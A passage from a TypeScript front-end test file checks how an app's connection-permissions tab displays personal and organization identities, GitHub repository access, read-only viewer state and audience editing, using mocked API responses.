authorizationUrl: "https://provider.example.test/authorize?state=personal",
}));
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
startPersonalAuthorizationMock.mockResolvedValue({
url: "https://my.paperclip.app/connections/confirm?session=legacy",
handoff: { kind: "paperclip_cloud", session },
});
await renderAppDetail();
await act(async () => {
findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(request).toHaveBeenCalledWith("/cloud/connections/handoff", expect.objectContaining({
method: "POST",
body: JSON.stringify({ session }),
}));
await vi.waitFor(() => {
expect(navigateTopLevelMock).toHaveBeenCalledWith(
"https://provider.example.test/authorize?state=personal",
);
});
expect(navigateTopLevelMock).not.toHaveBeenCalledWith(expect.stringContaining("/connections/confirm"));
});
it("keeps a viewer read-only across identities and installs", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({ credentialPolicy: "shared" }));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [organizationGrant({ capabilities: { canRevoke: false, canEditAudience: false } })],
capabilities: {
canConfigure: false,
canCreateOrganizationGrant: false,
canSetCompanyInstall: false,
canConnectAsCurrentUser: false,
canManageAgentInstalls: false,
canViewOtherPersonalIdentities: false,
editableAgentIds: [],
},
currentUserId: "viewer-1",
members: [],
});
await renderAppDetail();
expect(container.textContent).toContain("Anyone in your company can use this connection");
// State stays legible...
expect(container.textContent).toContain("Anyone in your company can use this connection");
expect(container.textContent).not.toContain("Personal account");
// ...and every mutation control is absent rather than disabled.
expect(findButton("Connect as me")).toBeUndefined();
expect(findButton("Manage access")).toBeUndefined();
expect(findButton("Revoke")).toBeUndefined();
expect(findButton("Connect organization identity")).toBeUndefined();
});
it("shows one fixed personal identity without an organization switch", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection({ createdByUserId: "user-2" }));
revokeConnectionGrantMock.mockResolvedValue({ id: "grant-other", kind: "user" });
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [
organizationGrant(),
personalGrant({ id: "grant-other", subjectUserId: "user-2" }),
],
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
currentUserId: "user-1",
members: [
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
],
});
await renderAppDetail();
expect(container.textContent).toContain("Only you can use this connection");
expect(container.textContent).toContain("Carol");
expect(container.textContent).not.toContain("Organization identity");
expect(container.textContent).not.toContain("Other personal identities");
expect(findButton("Connect organization identity")).toBeUndefined();
expect(findButton("Agents")).toBeUndefined();
expect(findButton("Reconnect")).toBeUndefined();
expect(findButton("Revoke")).toBeUndefined();
});
it("shows the personal GitHub username and every accessible repository", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
repositoryCount: 2,
repositories: [
{ id: "1", fullName: "paperclipai/first", installationId: "456", private: true },
{ id: "2", fullName: "paperclipai/second", installationId: "456", private: false },
],
})],
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
});
await renderAppDetail();
expect(container.textContent).toContain("@dottabot");
expect(container.textContent).toContain("2 selected repositories");
expect(container.querySelectorAll('ul[aria-label="Accessible GitHub repositories"] li')).toHaveLength(2);
expect(container.textContent).toContain("paperclipai/first");
expect(container.textContent).toContain("paperclipai/second");
expect(container.querySelector('a[href="https://github.com/paperclipai/first"] [aria-label="Private repository"]')).toBeTruthy();
expect(container.querySelector('a[href="https://github.com/paperclipai/second"] [aria-label="Private repository"]')).toBeNull();
const configureHint = [...container.querySelectorAll("p a")].find((link) => link.textContent === "Configure access on GitHub");
expect(configureHint?.getAttribute("href")).toBe("https://github.com/apps/paperclip-test/installations/new");
});
it.each([undefined, "https://github.com/settings/installations"])("loads missing GitHub app configuration instead of linking legacy settings (%s)", async (installationUrl) => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, { installationUrl })],
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
});
await renderAppDetail();
expect(findButton("Load GitHub configuration")).toBeTruthy();
expect(container.querySelector('a[href="https://github.com/settings/installations/456"]')).toBeNull();
expect(container.querySelector('a[href="https://github.com/settings/installations"]')).toBeNull();
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
appSlug: "paperclip-staging", installationUrl: "https://github.com/apps/paperclip-staging/installations/new",
})],
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
});
await act(async () => { findButton("Load GitHub configuration")!.click(); });
await flushReact();
expect(checkConnectionHealthMock).toHaveBeenCalledWith("conn-1");
expect(container.querySelector('a[href="https://github.com/apps/paperclip-staging/installations/new"]')?.textContent).toBe("Add More Repos on GitHub");
expect(findButton("Load GitHub configuration")).toBeUndefined();
});
it.each([false, true])("shows repositories across accounts without filter controls (empty: %s)", async (empty) => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
repositoryCount: empty ? 0 : 3,
installationOwnerLogins: ["paperclipai", "dottabot", "empty-org"],
repositories: empty ? [] : [
{ id: "1", fullName: "paperclipai/first", installationId: "456" },
{ id: "2", fullName: "paperclipai/second", installationId: "456" },
{ id: "3", fullName: "dottabot/first", installationId: "789" },
],
})],
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
});
await renderAppDetail();
const repositoryNames = () => [...container.querySelectorAll('ul[aria-label="Accessible GitHub repositories"] a')].map((link) => link.textContent);
expect(repositoryNames()).toEqual(empty ? [] : ["paperclipai/first", "paperclipai/second", "dottabot/first"]);
if (empty) {
expect(container.querySelector('p[role="status"]')?.textContent?.trim()).toBe("No accessible repositories.");
expect(container.textContent).not.toContain("Refresh access to load the current repository list.");
}
expect(container.querySelector('[aria-label="Filter repositories by account or organization"]')).toBeNull();
expect(container.querySelector('input[aria-label="Search GitHub repositories"]')).toBeNull();
expect(container.querySelector('a[href="https://github.com/apps/paperclip-test/installations/new"]')?.textContent).toBe("Add More Repos on GitHub");
expect(updateConnectionMock).not.toHaveBeenCalled();
});
it("shows dedicated GitHub access as compact action rows and links to the agent", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
credentialPolicy: "per_agent",
authKind: "oauth",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant()],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
await renderAppDetail();
expect(container.querySelector('a[href="/agents/coder"]')?.textContent).toContain("Used only by Coder");
expect(container.textContent).toContain("Repositories");
expect(container.textContent).toContain("1 selected repository");
expect(container.querySelector('a[href="https://github.com/dottabot"]')?.textContent).toBe("@dottabot");
expect(container.querySelector('a[href="https://github.com/paperclipai/test-repo"]')?.textContent).toBe("paperclipai/test-repo");
expect(container.querySelector(
'a[href="https://github.com/apps/paperclip-test/installations/new"]',
)?.textContent).toBe("Add More Repos on GitHub");
expect(container.querySelector('button[aria-label="Refresh access"]')).toBeTruthy();
expect(container.textContent).not.toContain("Installation");
expect(container.textContent).not.toContain("Token continuity");
expect(container.textContent).not.toContain("Webhook health");
expect(container.textContent).not.toContain("Last event");
expect(container.textContent).not.toContain("Last access refresh");
expect(container.textContent).not.toContain("Shell Git and gh use this account");
const askFirst = container.querySelector<HTMLButtonElement>('button[aria-label="Read repo: Ask first"]');
expect(askFirst).toBeTruthy();
await act(async () => {
askFirst!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(container.textContent).toContain(
"Shell Git and gh use this account for the run and are not constrained by per-tool Ask-first controls.",
);
});
it("warns about all-repository GitHub access within the repository row", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
credentialPolicy: "per_agent",
authKind: "oauth",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({}, {
repositoryCount: 0,
repositorySelection: "all",
})],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
await renderAppDetail();
expect(container.textContent).toContain("All current and future repositories");
expect(container.textContent).not.toContain("selected repositories");
});
it.each([
["mixed", "Mixed access; scope varies by installation"],
["none", "No repositories selected"],
] as const)("labels %s GitHub repository access explicitly", async (repositorySelection, expected) => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
credentialPolicy: "per_agent",
authKind: "oauth",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({}, {
repositoryCount: 0,
repositorySelection,
})],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
await renderAppDetail();
expect(container.textContent).toContain(expected);
expect(container.textContent).not.toContain("selected repositories");
});
it("persists an empty audience as all organization members", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" }));
replaceConnectionGrantMembersMock.mockResolvedValue(organizationGrant({ members: [] }));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [organizationGrant({
members: [{ id: "m-1", companyId: "company-1", grantId: "grant-org", subjectType: "user", subjectId: "user-2", createdAt: new Date() }],
})],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
],
});
await renderAppDetail();
expect(container.textContent).toContain("Anyone in your company can use this connection");
await act(async () => {
findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll('[role="radio"]'))
.find((option) => option.textContent?.includes("All organization members"))
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Save audience")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
// "All members" is the empty set on the wire; the UI never says "empty".
expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", []);
});
it("persists a selected audience and keeps the dialog open when the server refuses", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({ createdByUserId: "user-1" }));
replaceConnectionGrantMembersMock.mockRejectedValue(
new Error("Every audience member must be an active company member"),
);
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [organizationGrant({ members: [] })],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
],
});
await renderAppDetail();
await act(async () => {
findButton("Manage access")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll('[role="radio"]'))
.find((option) => option.textContent?.includes("Selected members"))
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll("button"))
.find((button) => button.textContent?.includes("Choose people"))
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
document.body.querySelector<HTMLElement>('[aria-label="Allow Carol"]')
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
await act(async () => {
Array.from(document.body.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Save audience")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(replaceConnectionGrantMembersMock).toHaveBeenCalledWith("conn-1", "grant-org", ["user-2"]);
// A denial keeps the dialog open with the selection intact and explains
// itself inline, rather than dropping the work into a toast.
const dialogText = document.body.textContent ?? "";
expect(dialogText).toContain("Who can use this identity");
expect(dialogText).toContain("Every audience member must be an active company member");
});
});